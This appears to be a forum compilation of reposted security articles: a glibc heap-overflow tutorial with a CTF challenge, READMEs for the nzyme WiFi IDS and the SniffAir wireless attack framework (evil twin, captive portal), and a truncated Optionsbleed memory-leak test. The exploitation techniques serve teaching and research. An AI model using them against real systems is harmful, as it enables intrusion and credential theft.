+-----------------+-+-+-+ |CHUNK B SIZE = \x01\x51| <-- Size Overflown 0x151 +-----------------+-+-+-+ |B->fd = main_arena->TOP| <-- Even if allocated... |B->bk = main_arena->TOP| <-- ...memory isn't cleared and... +-----------------------+ |PREV_SIZE B = \x01\x01| <-- ...values are kept in memory. +-----------------------+ |CHUNK C SIZE = \x41| +-----------------+-+-+-+ | | | | | | | | +-----------------------+ <-- B now takes up to here (1) | TOP | +-----------------------+ | | | | | | | | +-----------------------+ (1) The “mathemata” out there must have spotted that chunk B actually goes 8 bytes into TOP but that is not a problem for us for now. 4 – As a last step, we would just need to write into chunk B at our desired position, effectively achieving our main goal: Writing into chunk C. -=Data gets populated from right to left and from top to bottom=- <--- 8 bytes wide ---> +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| +-----------------+-+-+-+ |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| +-----------------+-+-+-+ |CHUNK B SIZE = \x01\x51| +-----------------+-+-+-+ |x42\x42\x42\x42\x42\x42| <-- Setting all B to hex('B') = '\x42' |x42\x42\x42\x42\x42\x42| +-----------------------+ |x42\x42\x42\x42\x42\x42| +-----------------------+ |x42\x42\x42\x42\x42\x42| +-----------------+-+-+-+ |x42\x42\x42\x42\x42\x42| <-- chunk C got overlapped and written |x42\x42\x42\x42\x42\x42| |x42\x42\x42\x42\x42\x42| |x42\x42\x42\x42\x42\x42| +-----------------------+ | TOP | +-----------------------+ | | | | | | | | +-----------------------+ Cool. If previous to filling all of chunk B with \x42, the “magically disappeared” chunk C gets free()‘d we will be able to leak pointers to main_arena->top by reading the contents of B. Also if C is still used, we can control the data inside it by writing on high positions at B. There are many more possibilities! One null byte write This scenario is initially the same as the previous one except that the sizes are A(0x100), B(0x250) and C(0x100); also, we can only overflow with a null byte \x00. As the first steps are the same as the one byte write, we are going straight into the null byte overflow. Note that this is more likely to happen because in C, all strings must be terminated with the “null byte”. Our goal here is to make the implementation forget about an allocated chunk by overlapping it with free space. 1 – We overflow in the same way as before but what is going to happen is a pretty much different thing than before. We are shrinking the size of chunk B from 0x250 to 0x200. -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ | EREH OG NAC GNIRTS YNA| <-- ANY STRING CAN GO HERE | EB LLIW TI ESUACEB| <-- BECAUSE IT WILL BE | DETANIMRET LLUN| <-- NULL TERMINATED |AAAAAAAAAAAAAAAAAAAAAAA| +-----------------+-+-+-+ |FREE B SIZE = \x02\x00| <-- Size byte overflown 0x250 --> 0x200 +-----------------+-+-+-+ |B->fd = main_arena->TOP| |B->bk = main_arena->TOP| | | | | <-- Free B ends here now (1) | | | | +-----------------------+ <-- Free space still ends here (2) |PREV_SIZE B = \x02\x50| <-- C PREV_SIZE doesn't match B size +-----------------------+ |CHUNK C SIZE = \x01\x00| <-- PREV_INUSE is zero now. +-----------------+-+-+-+ | | | | +-----------------------+ | TOP | +-----------------------+ | | | | | | | | +-----------------------+ Chunk B has shrunk (1) and this will have its consequences. The first and easiest to see is that chunk’s C PREV_SIZE (remember that this value is used to merge free chunks) is different from the actual chunk’s B size. The second consequence is that for the implementation, the free space between chunk A and chunk C (2) is somewhat “divided” from the implementation’s perspective (it is corrupted already). This consequences together have a third and final consequence. If we allocate two new chunks (J and K) of smaller size than 0x200/2 (0x100)… 2 – … the implementation is going to properly allocate these in the space of chunk B because there is space for two chunks of size, let’s say, 0x80. -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ | EREH OG NAC GNIRTS YNA| | EB LLIW TI ESUACEB| | DETANIMRET LLUN| |AAAAAAAAAAAAAAAAAAAAAAA| +-----------------+-+-+-+ |CHUNK J SIZE = \x00\x81| +-----------------+-+-+-+ | | | | +-----------------------+ |CHUNK K SIZE = \x00\x81| +-----------------------+ | | | | +-----------------------+ |PREV_SIZE B = \x02\x50| <-- C PREV_SIZE doesn't match B size +-----------------------+ |CHUNK C SIZE = \x01\x00| +-----------------+-+-+-+ | | | | +-----------------------+ | TOP | +-----------------------+ | | | | | | | | +-----------------------+ Not much to explain about two simple allocations. This leads us onto the final part. Can you see which chunk is about to disappear to the implementation (Forgotten Chunk)? 3 – Finally if we free() chunk J and chunk C in that order the unlink macro will kick in and merge both chunks into one free space. So, which chunk is between the cape formed by chunk’s J and C? That’s right, the newly allocated chunk K. First chunk J is free()‘d – note that K‘s PREV_INUSE is zero now due to the previous chunk J being free. -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ | EREH OG NAC GNIRTS YNA| | EB LLIW TI ESUACEB| | DETANIMRET LLUN| |AAAAAAAAAAAAAAAAAAAAAAA| +-----------------+-+-+-+ |FREE J SIZE = \x00\x81| (3) +-----------------+-+-+-+ |J->fd = main_arena->TOP| |J->bk = main_arena->TOP| +-----------------------+ |CHUNK K SIZE = \x00\x80| +-----------------------+ | | | | +-----------------------+ |PREV_SIZE B = \x02\x50| (2) +-----------------------+ |CHUNK C SIZE = \x01\x00| (1) +-----------------+-+-+-+ | | | | +-----------------------+ | TOP | +-----------------------+ | | | | | | | | +-----------------------+ 4 – Then, we are free()‘ing C. Now pay close attention to the following: – Chunk C PREV_INUSE bit is unset (1) – Chunk C PREV_SIZE is still the old B size 0x250 (2) – Chunk J is also free and at the position of old B (0x250 bytes back from chunk C) (3) They are explained in reverse order because this is exactly how the unlink macro is going over all of them. Check’s that the current free()‘d chunk has its PREV_INUSE bit unset (1), then it proceeds to merge the other free()‘d chunk which is at C – PREV_SIZE = J. Now J and C are merged into one big free space at J. Poor K was in the middle of this merge situation and is now treated as free space – ptmalloc2 forgot about him -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ | EREH OG NAC GNIRTS YNA| | EB LLIW TI ESUACEB| | DETANIMRET LLUN| |AAAAAAAAAAAAAAAAAAAAAAA| +-----------------+-+-+-+ |FREE J SIZE = \x03\x51| <-- Free size starting here +-----------------+-+-+-+ |J->fd = main_arena->TOP| |J->bk = main_arena->TOP| + - - - - - - - + | CHUNK K FORGOTTEN! | + - - - - - - - + | | | | + - - - - - - - + | | | | | | | | | | | | +-----------------------+ <-- Free size ends here | TOP | +-----------------------+ | | | | | | | | +-----------------------+ Now chunk K is in the new free()‘d area (in green) which again has nearly the same implications as the previous scenario: use-after-invalidation, leaks, arbitrary writes, etc. The playground Let’s go have some fun! As in the previous series I am trying to create a tradition by providing proof of concepts and a challenge! You can get the playground’s code here. Download Playground Code In order to not make this blog post longer than expected, the proof of concepts provided are directly related with the When stars align section. Worry not for I have heavily commented each PoC. But wait! Don’t think I would be that lazy! Here, have some videos and a little explanation. One byte write This PoC is based around on writing to chunk C. An X is written to a point in B after the vulnerability is triggered. This point in chunk B is exactly the previous to last byte in the overlapped C. One null byte write This one corresponds to the second scenario with the difference that instead of creating J and K chunk variables, I have reused the B variable and just added an X variable to hold the fourth chunk. This chunk X is the one to be overlapped and overwritten as we can see in the following video. Now you This second challenge is on 178.62.74.135 on ports 10000, 10001. Your goal is to retrieve the flag by overlapping a chunk that you cannot read directly from – the vulnerable chunk is A! nc 178.62.74.135 10000 -v nc 178.62.74.135 10001 -v The flag is in the form: SP{contents_of_the_flag}. Note that you must send us your exploit source code to be eligible to win! The winner will win a SensePost shirt and will be chosen regarding the following criteria: Originality – Programming Language, code length, formatting, comments, etc. Accurate – Did you do the maths or bruteforced it? Hints – There are 3 allocated chunks already: A(0x100), B(0x100) & C(0x80) – Values with the last 3 bits set can cause weird behaviour – There are hidden easter eggs for those trying to break things further – You can calculate or either brute force it. Your call! – No, you don’t need to solve the 2016 challenge References [1] Glibc Adventures: The Forgotten Chunks Chris Evans/Tavis Ormandis – Single NUL byte overflow Painless intro to the linux userland heap Sursa: https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-the-magicians-cape-1-byte-overflow/

Nzyme Introduction Nzyme collects 802.11 management frames directly from the air and sends them to a Graylog (Open Source log management) setup for WiFi IDS, monitoring, and incident response. It only needs a JVM and a WiFi adapter that supports monitor mode. Think about this like a long-term (months or years) distributed Wireshark/tcpdump that can be analyzed and filtered in real-time, using a powerful UI. If you are new to the fascinating space of WiFi security, you might want to read my Common WiFi Attacks And How To Detect Them blog post. What kind of data does it collect? Nzyme collects, parses and forwards all relevant 802.11 management frames. Management frames are unecrypted so anyone close enough to a sending station (an access point, a computer, a phone, a lightbulb, a car, a juice maker, ...) can pick them up with nzyme. Association request Association response Probe request Probe response Beacon Disassociation Authentication Deauthentication What do I need to run it? Everything you need is available from Amazon Prime and is not very expensive. There even is a good chance you have the parts around already. One or more WiFi adapters that support monitor mode on your operating system. The most important component is one (or more) WiFi adapters that support monitor mode. Monitor mode is the special state of a WiFi adapter that makes it read and report all 802.11 frames and not only certain management frames or frames of a network it is connected to. You could also call this mode sniffing mode: The adapter just spits out everything it sees on the channel it is tuned to. The problem is, that many adapter/driver/operating system combinations do not support monitor mode. The internet is full of compatibility information but here are the adapters I run nzyme with on a Raspberry Pi 3 Model B: ALFA AWUS036NH - 2.4Ghz and 5Ghz (Amazon Prime, about $40) ALFA AWUS036NEH - 2.4Ghz (Amazon Prime, about $50) If you have another one that supports monitor mode, you can use that one. Nzyme does by far not require any specific hardware. A small computer to run nzyme on. I recommend to run nzyme on a Raspberry Pi 3 Model B. This is pretty much the reference architecture, because that is what I run it on. In the end, it shoulnd’t really matter what you run it on, but the docs and guides will most likely refer to a Raspberry Pi with a Raspbian on in. A Graylog setup You need a Graylog setup with ah GELF TCP input that is reachable by your nzyme sensors. Channel hopping The 802.11 standard defines many frequencies (channels) a network can operate on. This is useful to avoid contention and bandwidth issues, but also means that your wireless adapter has to be tuned to a single channel. During normal operations, your operating system will do this automatically for you. Because we don’t want to listen on only one, but possibly all WiFi channels, we either need dozens of adapters, with one adapter for each channel, or we cycle over multiple channels on a single adapter rapidly. Nzyme allows you to configure multiple channels per WiFi adapter. For example, if you configure nzyme to listen on channel 1,2,3,4,5,6 on wlan0 and 7,8,9,10,11 on wlan1, it will tune wlan0 to channel 1 for a configurable time (default is 1 second) and then switch to channel 2, then to channel 3 and so on. By doing this, we might miss a bunch of wireless frames but are not missing out on some channels completely. The best configuration depends on your use-case but usually you will want to tune to all 2.4 Ghz and 5 Ghz WiFi channels. On Linux, you can get a list of channels your WiFi adapter supports like this: $ iwlist wlan0 channel wlan0 32 channels in total; available frequencies : Channel 01 : 2.412 GHz Channel 02 : 2.417 GHz Channel 03 : 2.422 GHz Channel 04 : 2.427 GHz Channel 05 : 2.432 GHz Channel 06 : 2.437 GHz Channel 07 : 2.442 GHz Channel 08 : 2.447 GHz Channel 09 : 2.452 GHz Channel 10 : 2.457 GHz Channel 11 : 2.462 GHz Channel 12 : 2.467 GHz Channel 13 : 2.472 GHz Channel 14 : 2.484 GHz Channel 36 : 5.18 GHz Channel 38 : 5.19 GHz Channel 40 : 5.2 GHz Channel 44 : 5.22 GHz Channel 46 : 5.23 GHz Channel 48 : 5.24 GHz Channel 52 : 5.26 GHz Channel 54 : 5.27 GHz Channel 56 : 5.28 GHz Channel 60 : 5.3 GHz Channel 62 : 5.31 GHz Channel 64 : 5.32 GHz Channel 100 : 5.5 GHz Channel 102 : 5.51 GHz Channel 104 : 5.52 GHz Channel 108 : 5.54 GHz Channel 110 : 5.55 GHz Channel 112 : 5.56 GHz Current Frequency:2.432 GHz (Channel 5) Things to keep in mind A few general things to know before you get started: Success will highly depend on how well supported your WiFi adapters and drivers are. Use the recommended adapters for best results. You can get them from Amazon Prime and have them ready in one or two days. At least on OSX, your adapter will not switch channels when already connected to a network. Make sure to disconnect from networks before using nzyme with the on-board WiFi adapter. On other systems, switching to monitor mode should disconnect the adapter from a possibly connected network. Nzyme works well with both the OpenJDK or the Oracle JDK and requires Java 7 or 8. Wifi adapters can draw quite some current and I have seen Raspberry Pi 3’s shut down when connecting more than 3 ALFA adapters. Consider this before buying tons of adapters. Testing on a MacBook (You can skip this and go straight to a real installation on a Raspberry Pi or install it on any other device that runs Java and has supported WiFi adapters connected to it.) Requirements Nzyme is able to put the onboard WiFi adapter of recent MacBooks into monitor mode so you don’t need an external adapter for testing. Remember that you cannot be connected to a wireless network while running nzyme, so the Graylog setup you send data to has to be local or you need a wired network connection or a second WiFi adapter as LAN/WAN uplink. Make sure you have Java 7 or 8 installed: $ java -version java version "1.8.0_121" Java(TM) SE Runtime Environment (build 1.8.0_121-b13) Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode) Download and configure Download the most recent build from the [Releases] page. Create a new file called nzyme.conf in the same folder as your nzyme.jar file: nzyme_id = nzyme-macbook-1 channels = en0:1,2,3,4,5,6,8,9,10,11 channel_hop_command = sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport {interface} channel {channel} channel_hop_interval = 1 graylog_addresses = graylog.example.org:12000 beacon_frame_sampling_rate = 0 Note the graylog_addresses variable that has to point to a GELF TCP input in your Graylog setup. Adapt it accordingly. Please refer to the example config in the repository for a more verbose version with comments. Run After disconnecting from all WiFi networks (you might have to "forget" them in the macOS WiFi settings), you can start nzyme like this: $ java -jar nzyme-0.1.jar -c nzyme.conf 18:35:00.261 [main] INFO horse.wtf.nzyme.Main - Printing statistics every 60 seconds. Logs are in [logs/] and will be automatically rotated. 18:35:00.307 [main] WARN horse.wtf.nzyme.Nzyme - No Graylog uplinks configured. Falling back to Log4j output 18:35:00.459 [main] INFO horse.wtf.nzyme.Nzyme - Building PCAP handle on interface [en0] 18:35:00.474 [main] INFO horse.wtf.nzyme.Nzyme - PCAP handle for [en0] acquired. Cycling through channels <1,2,3,4,5,6,8,9,10,11>. 18:35:00.483 [nzyme-loop-0] INFO horse.wtf.nzyme.Nzyme - Commencing 802.11 frame processing on [en0] ... (⌐■_■)–︻╦╤─ – – pew pew Nzyme is now collecting data and writing it into the Graylog input you configured. A message will look like this: Installation and configuration on a Raspberry Pi 3 Requirements The onboard WiFi chips of recent Raspberry Pi models can be put into monitor mode with the alternative nexmon driver. The problem is, that the onboard antenna is not very good. If possible, use an external adapter that supports monitor mode instead. Make sure you have Java 7 or 8 installed: $ java -version openjdk version "1.8.0_40-internal" OpenJDK Runtime Environment (build 1.8.0_40-internal-b04) OpenJDK Zero VM (build 25.40-b08, interpreted mode) Download and configure Download the most recent build from the [Releases] page. Create a new file called nzyme.conf in the same folder as your nzyme.jar file: nzyme_id = nzyme-sensors-1 channels = wlan0:1,2,3,4,5,6,8,9,10,11,12,13,14|wlan1:36,38,40,44,46,48,52,54,56,60,62,64,100,102,104,108,110,112 channel_hop_command = sudo /sbin/iwconfig {interface} channel {channel} channel_hop_interval = 1 graylog_addresses = graylog.example.org:12000 beacon_frame_sampling_rate = 0 Note the graylog_addresses variable that has to point to a GELF TCP input in your Graylog setup. Adapt it accordingly. Please refer to the example config in the repository for a more verbose version with comments. Run $ java -jar nzyme-0.1.jar -c nzyme.conf 17:28:45.657 [main] INFO horse.wtf.nzyme.Main - Printing statistics every 60 seconds. Logs are in [logs/] and will be automatically rotated. 17:28:51.637 [main] INFO horse.wtf.nzyme.Nzyme - Building PCAP handle on interface [wlan0] 17:28:53.178 [main] INFO horse.wtf.nzyme.Nzyme - PCAP handle for [wlan0] acquired. Cycling through channels <1,2,3,4,5,6,8,9,10,11,12,13,14>. 17:28:53.268 [nzyme-loop-0] INFO horse.wtf.nzyme.Nzyme - Commencing 802.11 frame processing on [wlan0] ... (⌐■_■)–︻╦╤─ – – pew pew 17:28:54.926 [main] INFO horse.wtf.nzyme.Nzyme - Building PCAP handle on interface [wlan1] 17:28:56.238 [main] INFO horse.wtf.nzyme.Nzyme - PCAP handle for [wlan1] acquired. Cycling through channels <36,38,40,44,46,48,52,54,56,60,62,64,100,102,104,108,110,112>. 17:28:56.247 [nzyme-loop-1] INFO horse.wtf.nzyme.Nzyme - Commencing 802.11 frame processing on [wlan1] ... (⌐■_■)–︻╦╤─ – – pew pew Collected frames will now start appearing in your Graylog setup. Note that DEB and RPM packages are in the making and will be released soon. Renaming WiFi interfaces (optional) The interface names wlan0, wlan1 etc are not always deterministic. Sometimes they can change after a reboot and suddenly nzyme will attempt to use the onboard WiFi chip that does not support moniotr mode. To avoid this problem, you can "pin" interface names by MAC address. I like to rename the onboard chip to wlanBoard to avoid accidental usage. This is what ifconfig looks like with no external WiFi adapters plugged in. pi@parabola:~ $ ifconfig eth0 Link encap:Ethernet HWaddr b8:27:eb:0f:0e:d4 inet addr:172.16.0.136 Bcast:172.16.0.255 Mask:255.255.255.0 inet6 addr: fe80::8966:2353:4688:c9a/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1327 errors:0 dropped:22 overruns:0 frame:0 TX packets:1118 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:290630 (283.8 KiB) TX bytes:233228 (227.7 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:304 errors:0 dropped:0 overruns:0 frame:0 TX packets:304 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:24552 (23.9 KiB) TX bytes:24552 (23.9 KiB) wlan0 Link encap:Ethernet HWaddr b8:27:eb:5a:5b:81 inet6 addr: fe80::77be:fb8a:ad75:cca9/64 Scope:Link UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) In this case wlan0 is the onboard WiFi chip that we want to rename to wifiBoard. Open the file /lib/udev/rules.d/75-persistent-net-generator.rules and add wlan* to the device name whitelist: # device name whitelist KERNEL!="wlan*|ath*|msh*|ra*|sta*|ctc*|lcs*|hsi*", \ GOTO="persistent_net_generator_end" Reboot the system. After it is back up, open /etc/udev/rules.d/70-persistent-net.rules and change the NAME variable: SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="b8:27:eb:5a:5b:81", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="wlan*", NAME="wlanBoard" Reboot the system again and enjoy the consistent naming. Any new WiFi adapter you plug in, will be a classic, numbered wlan0, wlan1 etc that can be safely referenced in the nzyme config without the chance of accidentally selecting the onboard chip, because it's called wlanBoard now. eth0 Link encap:Ethernet HWaddr b8:27:eb:0f:0e:d4 inet addr:172.16.0.136 Bcast:172.16.0.255 Mask:255.255.255.0 inet6 addr: fe80::8966:2353:4688:c9a/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:349 errors:0 dropped:8 overruns:0 frame:0 TX packets:378 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:75761 (73.9 KiB) TX bytes:69865 (68.2 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:228 errors:0 dropped:0 overruns:0 frame:0 TX packets:228 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:18624 (18.1 KiB) TX bytes:18624 (18.1 KiB) wlanBoard Link encap:Ethernet HWaddr b8:27:eb:5a:5b:81 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Known issues Some WiFi adapters will not report the MAC timestamp in the radiotap header. The field will simply be missing in Graylog. This is usually an issue with the driver. The deauthentication and disassociation reason field is not reported correctly on some systems. This is known to be an issue on a 2016 MacBook Pro running macOS Sierra. Legal notice Make sure to comply with local laws, especially with regards to wiretapping, when running nzyme. Note that nzyme is never decrypting any data but only reading unencrypted data on unlicensed frequencies. Sursa: https://github.com/lennartkoopmann/nzyme

SniffAir SniffAir is an open-source wireless security framework. Sniffair allows for the collection, management, and analyzation of wireless traffic. In additional, SniffAir can also be used to preform sophisticated wireless attacks. SniffAir was born out of the hassle of managing large or multiple pcap files while thoroughly cross-examining and analyzing the traffic, looking for potential security flaws or malicious traffic. SniffAir is developed by @Tyl0us and @theDarracott Install To install run the setup.py script $python setup.py Usage % * ., % % ( ,# (..# % /@@@@@&, *@@% &@, @@# /@@@@@@@@@ .@@@@@@@@@. ,/ # # (%%%* % (.(. .@@ &@@@@@@%. .@@& *&@ %@@@@. &@, @@% %@@,,,,,,, ,@@,,,,,,, .( % % %%# # % # ,@@ @@(,,,#@@@. %@% %@@(@@. &@, @@% %@@ ,@@ /* # /*, %.,, ,@@ @@* #@@ ,@@& %@@ ,@@* &@, @@% %@@ ,@@ .# //#(, (, ,@@ @@* &@% .@@@@@. %@@ .@@( &@, @@% %@@%%%%%%* ,@@%%%%%%# (# ##. ,@@ @@&%%%@@@% *@@@@ %@@ .@@/ &@, @@% %@@,,,,,, ,@@,,,,,,. %#####% ,@@ @@(,,%@@% @@% %@@ @@( &@, @@% %@@ ,@@ % (*/ # ,@@ @@* @@@ %@% %@@ @@&&@, @@% %@@ ,@@ % # .# .# ,@@ @@* @@% .@@&/,,#@@@ %@@ &@@@, @@% %@@ ,@@ /(* /(# ,@@ @@* @@# *%@@@&* *%# ,%# #%/ *%# %% #############. .%# #%. .%% (@Tyl0us & @theDarracott) >> [default]# help Commands ======== workspace Manages workspaces (create, list, load, delete) live_capture Initiates an valid wireless interface to collect wireless pakcets to be parsed (requires the interface name) offline_capture Begins parsing wireless packets using an pcap file-kistmit .pcapdump work best (requires the full path) offline_capture_list Begins parsing wireless packets using an list of pcap file-kistmit .pcapdump work best (requires the full path) query Executes a quey on the contents of the acitve workspace help Displays this help menu clear Clears the screen show Shows the contents of a table, specific information accorss all tables or the avilable modules inscope Add ESSID to scope. inscope [ESSID] use Use a SniffAir module info Displays all varible infomraiton regardin the selected module set Sets a varible in module exploit Runs the loaded module exit Exit SniffAir >> [default]# Begin First create or load a new or existing workspace using the command workspace create <workspace> or workspace load <workspace> command. To view all existing workspaces use the workspace list command and workspace delete <workspace> command to delete the desired workspace: >> [default]# workspace Manages workspaces Command Option: workspaces [create|list|load|delete] >> [default]# workspace create demo [+] Workspace demo created Load data into a desired workplace from a pcap file using the command offline_capture <the full path to the pcap file>. To load a series of pcap files use the command offline_capture_list <the full path to the file containing the list of pcap name> (this file should contain the full patches to each pcap file). >> [demo]# offline_capture /root/sniffair/demo.pcapdump \ [+] Completed [+] Cleaning Up Duplicates [+] ESSIDs Observed Show Command The show command displays the contents of a table, specific information across all tables or the available modules, using the following syntax: >> [demo]# show table AP +------+-----------+-------------------+-------------------------------+--------+-------+-------+----------+--------+ | ID | ESSID | BSSID | VENDOR | CHAN | PWR | ENC | CIPHER | AUTH | |------+-----------+-------------------+-------------------------------+--------+-------+-------+----------+--------| | 1 | HoneyPot | c4:6e:1f:0c:82:03 | TP-LINK TECHNOLOGIES CO. LTD. | 4 | -17 | WPA2 | TKIP | MGT | | 2 | Demo | 80:2a:a8:5a:fb:2a | Ubiquiti Networks Inc. | 11 | -19 | WPA2 | CCMP | PSK | | 3 | Demo5ghz | 82:2a:a8:5b:fb:2a | Unknown | 36 | -27 | WPA2 | CCMP | PSK | | 4 | HoneyPot1 | c4:6e:1f:0c:82:05 | TP-LINK TECHNOLOGIES CO. LTD. | 36 | -29 | WPA2 | TKIP | PSK | | 5 | BELL456 | 44:e9:dd:4f:c2:7a | Sagemcom Broadband SAS | 6 | -73 | WPA2 | CCMP | PSK | +------+-----------+-------------------+-------------------------------+--------+-------+-------+----------+--------+ >> [demo]# show SSIDS --------- HoneyPot Demo HoneyPot1 BELL456 Hidden Demo5ghz --------- The query command can be used to display a unique set of data based on the parememters specificed. The query command uses sql syntax. Modules Modules can be used to analyze the data contained in the workspaces or preform offensive wireless attacks using the use <module name> command. For some modules additional variables may need to be set. They can be set using the set command set <variable name> <variable value>: >> [demo]# show modules Available Modules [+] Run Hidden SSID [+] Evil Twin [+] Captive Portal [+] Auto EAP [+] Exporter >> [demo]# >> [demo]# use Captive Portal >> [demo][Captive Portal]# info Globally Set Varibles ===================== Module: Captive Portal Interface: SSID: Channel: Template: Cisco (More to be added soon) >> [demo][Captive Portal]# set Interface wlan0 >> [demo][Captive Portal]# set SSID demo >> [demo][Captive Portal]# set Channel 1 >> [demo][Captive Portal]# info Globally Set Varibles ===================== Module: Captive Portal Interface: wlan0 SSID: demo Channel: 1 Template: Cisco (More to be added soon) >> [demo][Captive Portal]# Once all varibles are set, then execute the exploit command to run the desired attack. Export To export all information stored in a workspace’s tables using the Exporter module and setting the desired path. Sursa: https://github.com/Tylous/SniffAir

Testing Optionsbleed Written by:Mike Czumak Written on:September 23, 2017 Introduction I took a few minutes to test the Optionsbleed vuln (CVE-2017-9798), specifically to see whether modifying the length and/or quantity of Options/Methods in the .htaccess file would enable me to extract anything of substance from memory. Ultimately it seems that by modifying the length of the entries in the .htaccess file, I was able to gain access to hundreds of bytes of POST data of a different virtual host. Details My setup was simple…two virtual hosts running an an Apache server hosted on a Linux VM. Each virtual host ran on a different port and had separate directories and error logs. Virtual Host 1 (the running on port 80) was simply hosting a “hello” index.html. This was going to be my “attacker” site that would host the malicious .htaccess file. Virtual Host 2 (the “victim” site running on port 81) was hosting a php page that takes three inputs…username, password, and a third, variable length variable. 1 2 3 4 5 6 7 8 9 10 11 <?php $user = $_POST["username"]; $pwd = $_POST["password"]; $otherdata = $_POST["otherdata"]; ?> <form action="index.php" method="POST"> Otherdata: <input type="text" name="otherdata"><br> Username: <input type="text" name="username"><br> Password: <input type="text" name="password"><br> <input type="submit" value="Submit"> </form> Throughout the remainder of this post, I’ll refer to them as Site1 (Attacker Site on Virtual Host 1) and Site 2 (Victim Site on Virtual Host 2). I started with an .htaccess file on Site1 that looked as follows: 1 2 3 <Limit method0 method1 method2 method3 method4 method5> Allow from all </Limit> Making several OPTIONS requests for Site1 resulted in a modified but fairly innocuous Accept header: 1 Allow: GET,POST,OPTIONS,HEAD,,allow,,,,,,,,,,,,,,, Slight modifications in content and length did return a few varying bytes but nothing very different from the examples I had already seen online and nothing that was of particular interest. I started extending the length of each option/method in the .htacess file (using a simple numeric string of 0123456789) until I got to the following <Limit 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678